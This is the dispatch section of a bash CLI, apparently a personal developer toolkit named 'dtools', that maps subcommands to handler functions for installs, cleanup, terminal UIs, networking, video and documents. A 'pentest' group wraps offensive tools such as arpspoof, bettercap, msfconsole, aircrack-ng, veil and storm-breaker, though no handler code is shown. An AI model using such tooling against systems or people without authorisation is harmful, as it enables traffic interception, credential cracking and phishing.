dtools_java_analyze_with_sonar_command ;; "ansible") dtools_ansible_command ;; "ansible encrypt-string") dtools_ansible_encrypt_string_command ;; "ansible decrypt-variable") dtools_ansible_decrypt_variable_command ;; "install") dtools_install_command ;; "install docker") dtools_install_docker_command ;; "install ansible") dtools_install_ansible_command ;; "install java") dtools_install_java_command ;; "clean") dtools_clean_command ;; "clean bleachbit") dtools_clean_bleachbit_command ;; "clean docker") dtools_clean_docker_command ;; "clean package-caches") dtools_clean_package_caches_command ;; "clean logs") dtools_clean_logs_command ;; "clean build-caches") dtools_clean_build_caches_command ;; "tui") dtools_tui_command ;; "tui monitoring") dtools_tui_monitoring_command ;; "tui monitoring system-monitor") dtools_tui_monitoring_system_monitor_command ;; "tui monitoring pihole-monitor") dtools_tui_monitoring_pihole_monitor_command ;; "tui monitoring kernel-monitor") dtools_tui_monitoring_kernel_monitor_command ;; "tui network-monitoring") dtools_tui_network_monitoring_command ;; "tui network-monitoring wavemon") dtools_tui_network_monitoring_wavemon_command ;; "tui network-monitoring network-diags") dtools_tui_network_monitoring_network_diags_command ;; "tui network-monitoring ip-traffic") dtools_tui_network_monitoring_ip_traffic_command ;; "tui network-monitoring socket-stats") dtools_tui_network_monitoring_socket_stats_command ;; "tui network-monitoring netscanner") dtools_tui_network_monitoring_netscanner_command ;; "tui network-monitoring upkit") dtools_tui_network_monitoring_upkit_command ;; "tui network") dtools_tui_network_command ;; "tui network network-manager") dtools_tui_network_network_manager_command ;; "tui network bluetooth-manager") dtools_tui_network_bluetooth_manager_command ;; "tui network wireguard-config") dtools_tui_network_wireguard_config_command ;; "tui network mitm-proxy") dtools_tui_network_mitm_proxy_command ;; "tui network proxy") dtools_tui_network_proxy_command ;; "tui network proxymock") dtools_tui_network_proxymock_command ;; "tui network http-load-generator") dtools_tui_network_http_load_generator_command ;; "tui network ping") dtools_tui_network_ping_command ;; "tui network full-browser") dtools_tui_network_full_browser_command ;; "tui network elinks") dtools_tui_network_elinks_command ;; "tui network w3m") dtools_tui_network_w3m_command ;; "tui network lynx") dtools_tui_network_lynx_command ;; "tui network carbonyl") dtools_tui_network_carbonyl_command ;; "tui network http-request-client") dtools_tui_network_http_request_client_command ;; "tui network http-request-client-2") dtools_tui_network_http_request_client_2_command ;; "tui network api-client") dtools_tui_network_api_client_command ;; "tui docker") dtools_tui_docker_command ;; "tui docker docker") dtools_tui_docker_docker_command ;; "tui docker docker-layer-analyzer") dtools_tui_docker_docker_layer_analyzer_command ;; "tui docker kubernetes") dtools_tui_docker_kubernetes_command ;; "tui development") dtools_tui_development_command ;; "tui development git") dtools_tui_development_git_command ;; "tui development jira") dtools_tui_development_jira_command ;; "tui development readme") dtools_tui_development_readme_command ;; "tui development tail-logs") dtools_tui_development_tail_logs_command ;; "tui development drft") dtools_tui_development_drft_command ;; "tui development wrkflw") dtools_tui_development_wrkflw_command ;; "tui development gama") dtools_tui_development_gama_command ;; "tui development ecs") dtools_tui_development_ecs_command ;; "tui development openapi") dtools_tui_development_openapi_command ;; "tui development gcs") dtools_tui_development_gcs_command ;; "tui development prs") dtools_tui_development_prs_command ;; "tui development s3") dtools_tui_development_s3_command ;; "tui development terraform") dtools_tui_development_terraform_command ;; "tui development journal") dtools_tui_development_journal_command ;; "tui development multi-host-log-viewer") dtools_tui_development_multi_host_log_viewer_command ;; "tui dev-help") dtools_tui_dev_help_command ;; "tui dev-help stack-overflow") dtools_tui_dev_help_stack_overflow_command ;; "tui dev-help wiki") dtools_tui_dev_help_wiki_command ;; "tui data") dtools_tui_data_command ;; "tui data db") dtools_tui_data_db_command ;; "tui data explorer") dtools_tui_data_explorer_command ;; "tui data database-ide") dtools_tui_data_database_ide_command ;; "tui data kafka") dtools_tui_data_kafka_command ;; "tui data jupyter-notebook") dtools_tui_data_jupyter_notebook_command ;; "tui misc") dtools_tui_misc_command ;; "tui misc notes") dtools_tui_misc_notes_command ;; "tui misc presentation") dtools_tui_misc_presentation_command ;; "tui misc dev-chat") dtools_tui_misc_dev_chat_command ;; "tui misc file-manager") dtools_tui_misc_file_manager_command ;; "tui misc screensaver") dtools_tui_misc_screensaver_command ;; "tui misc weather") dtools_tui_misc_weather_command ;; "tui misc linutil") dtools_tui_misc_linutil_command ;; "tui misc slack") dtools_tui_misc_slack_command ;; "tui misc youtube-music") dtools_tui_misc_youtube_music_command ;; "tui misc youtube-music-2") dtools_tui_misc_youtube_music_2_command ;; "tui misc jellyfin") dtools_tui_misc_jellyfin_command ;; "tui misc visualizations") dtools_tui_misc_visualizations_command ;; "tui misc visualizations-2") dtools_tui_misc_visualizations_2_command ;; "tui misc find-and-replace") dtools_tui_misc_find_and_replace_command ;; "tui misc ascii-theater") dtools_tui_misc_ascii_theater_command ;; "tui misc calendar") dtools_tui_misc_calendar_command ;; "tui misc piano") dtools_tui_misc_piano_command ;; "tui misc servarr") dtools_tui_misc_servarr_command ;; "tui sandbox") dtools_tui_sandbox_command ;; "tui sandbox jqp") dtools_tui_sandbox_jqp_command ;; "tui sandbox desed") dtools_tui_sandbox_desed_command ;; "tui sandbox play") dtools_tui_sandbox_play_command ;; "tui sandbox regect") dtools_tui_sandbox_regect_command ;; "tui ai") dtools_tui_ai_command ;; "tui ai elia") dtools_tui_ai_elia_command ;; "pentest") dtools_pentest_command ;; "pentest maltego") dtools_pentest_maltego_command ;; "pentest ifconfig") dtools_pentest_ifconfig_command ;; "pentest netdiscover") dtools_pentest_netdiscover_command ;; "pentest nmap") dtools_pentest_nmap_command ;; "pentest arpspoof") dtools_pentest_arpspoof_command ;; "pentest bettercap") dtools_pentest_bettercap_command ;; "pentest msfconsole") dtools_pentest_msfconsole_command ;; "pentest aircrack-ng") dtools_pentest_aircrack_ng_command ;; "pentest crunch") dtools_pentest_crunch_command ;; "pentest veil") dtools_pentest_veil_command ;; "pentest ngrok") dtools_pentest_ngrok_command ;; "pentest storm-breaker") dtools_pentest_storm_breaker_command ;; "video") dtools_video_command ;; "video rip-audio") dtools_video_rip_audio_command ;; "video youtube") dtools_video_youtube_command ;; "video split-scenes") dtools_video_split_scenes_command ;; "video duration") dtools_video_duration_command ;; "video boost-audio") dtools_video_boost_audio_command ;; "vm") dtools_vm_command ;; "vm windows") dtools_vm_windows_command ;; "vm linux") dtools_vm_linux_command ;; "vm mac") dtools_vm_mac_command ;; "network") dtools_network_command ;; "network generate-self-signed-certificate") dtools_network_generate_self_signed_certificate_command ;; "network https-proxy") dtools_network_https_proxy_command ;; "network tcp-proxy") dtools_network_tcp_proxy_command ;; "network proxy-with-nginx") dtools_network_proxy_with_nginx_command ;; "network mitm-proxy") dtools_network_mitm_proxy_command ;; "network archive-website") dtools_network_archive_website_command ;; "network warc-2-zim") dtools_network_warc_2_zim_command ;; "network mermaid-api") dtools_network_mermaid_api_command ;; "ntfy") dtools_ntfy_command ;; "ntfy subscribe") dtools_ntfy_subscribe_command ;; "ntfy reference") dtools_ntfy_reference_command ;; "document") dtools_document_command ;; "document convert") dtools_document_convert_command ;; "document merge-pdf") dtools_document_merge_pdf_command ;; "document decrypt-pdf") dtools_document_decrypt_pdf_command ;; "git") dtools_git_command ;; "git search-history") dtools_git_search_history_command ;; "plot") dtools_plot_command ;; "real-time-plot") dtools_real_time_plot_command ;; "date-to-epoch") dtools_date_to_epoch_command ;; "epoch-to-date") dtools_epoch_to_date_command ;; "date-to-iso-8601") dtools_date_to_iso_8601_command ;; "view-markdown") dtools_view_markdown_command ;; "start-simple-server") dtools_start_simple_server_command ;; "fzf") dtools_fzf_command ;; "backup") dtools_backup_command ;; "generate-password") dtools_generate_password_command ;; "play-mp3") dtools_play_mp3_command ;; "random-int") dtools_random_int_command ;; "random-float") dtools_random_float_command ;; "record-shell") dtools_record_shell_command ;; esac } command_line_args=("$@") initialize run "${command_line_args[@]}"